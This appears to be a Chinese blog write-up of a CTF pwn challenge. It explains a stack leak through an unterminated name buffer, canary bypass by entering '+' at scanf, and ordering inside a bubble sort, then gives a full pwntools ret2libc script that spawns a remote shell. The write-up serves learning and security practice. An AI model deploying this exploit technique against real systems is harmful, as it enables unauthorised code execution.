Loading... ### 灵感 故事是这样的,拿到题目放到ida里分析,发现是个冒泡,同时数组可以随便越界,又给了libc,感觉挺熟悉的,应该可切,然后到虚拟机里checksec,发现一片绿 <div style="text-align: center"> <img src="https://www.cjovi.icu/usr/uploads/2021/01/2121752103.png"/> </div> 被震了一下,于是考虑先感受一下程序的大体功能 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/1245259137.png"/></div> 输名字的时候手一抖多打了几个a,发现输出了一些奇怪的东西,立马赶回ida里面看一下原因 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/4136542942.png"/></div> (这里ida是有识别错误的,`buf`是 `printf`中 `%s`的参数,这个%s是输出到 `'\x00'`为止的)这里我们可以leak一些栈上的数据,一般来讲栈里面肯定会有libc的地址,所以我们就可以获得ret2的地址了。 ### 问题 我的工具似乎还是有问题,在gdb里调试,对于有pie的程序,断点可以使用 `b * $rebase(offset_address)`来下,但是我这里一直出现这样的问题 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/1523728196.png"/></div> 最后是凑了一个地址从libc进去才找到的基地址(后来发现这样做太蠢了,完全可以在程序等待输入的时候按CTRL+C让他暂停在read上,然后用finish,输入点东西,就可以断在程序的某个地址上,就可以获得基址了,gdb保证了的这个基址的不变) 然后查看栈 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/213991758.png"/></div> 发现什么都没有 以上都是一些配置的问题,关于如何使用指定的libc在gdb中调试准备之后仔细研究一下。 ### 解法 所以又一次我去剽窃了他人的成果,在与buf偏移0x1c的地方残留有libc的.init_array的地址,所以输入0x1c个字符就可以leak了。这样我们就可以算出libc的基地址,之后的ret2libc都是很自然的事。 现在还有一个麻烦的问题,就是 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/4189805502.png"/></div> 这里的读取是一路读下去的,会经过canary,也没办法再把canary泄露出来了。进行信息收集后我了解到通过输入 `'+'`或者 `'-'`就可以跳过那一次输入了。 > 原理是这样的:在scanf的时候,如果只输入一个非法字符(对于 `%u`而言就是字母这些了)就敲下回车(递交缓冲区)的话,scanf会把这个非法字符退回给缓冲区,这样其实已经达到了跳过这次输入的效果了,但是后果就是非法字符会一直留在缓冲区里面,出现这样的情况 > > <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/2755296521.png"/></div> > > 也就是说之后所有的scanf都会重复这个读入退回的操作(stdout的缓冲区是每次刷新的,但是stdin没有),我们就没法布置rop链了。而 `'+'`或者 `'-'`是合法的(二者定义了数字的符号),会被读入,不会被退回至缓冲区,如果这之后没有数字,就不会对应该修改的地址进行修改。 这样此题就十分简单了。还有一点额外要注意,输入完后会进行一次冒泡排序,不能让canary被换掉,在canary前输入比较小的数就可以避免了。比较巧的是system的地址大于canary,`'/bin/sh'`的地址也大于system的地址,所有他们排在canary后面也不会被交换。关于canary的位置,此题动过手脚,在ebp-0x10处,所以输入24个整数后会输入到canary。而由于下图中的行为,retn时pop的地址与canary相距0xC+4*4=28个字节,我们还要填充7+1+1=9(一个是ret2的地址,一个是system函数的fake return address)个system的地址和一个 `'/bin/sh'`的地址,所以要输入35个数字。 <div style="text-align: centr"><img src="https://www.cjovi.icu/usr/uploads/2021/01/353604044.png"/></div> ``` #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug') _init_array = 0x001AE244 sh = remote("220.249.52.134",35254) libc = ELF("./libc_32.so.6") sh.sendafter("name :","a" * 0x1c) sh.recvuntil("a" * 0x1c) libc_base = u32(sh.recv(4)) - _init_array system_addr = libc_base + libc.symbols["system"] bin_sh_addr = libc_base + libc.search("/bin/sh").next() sh.sendlineafter("to sort :",'35') for i in range(1,25): sh.sendlineafter("number : ",str(i)) sh.sendlineafter("number : ",'+') for i in range(9): sh.sendlineafter("number : ",str(system_addr)) sh.sendlineafter("number : ",str(bin_sh_addr)) sh.interactive() ``` 此题很好,很有收获。 最后修改:2021 年 01 月 02 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧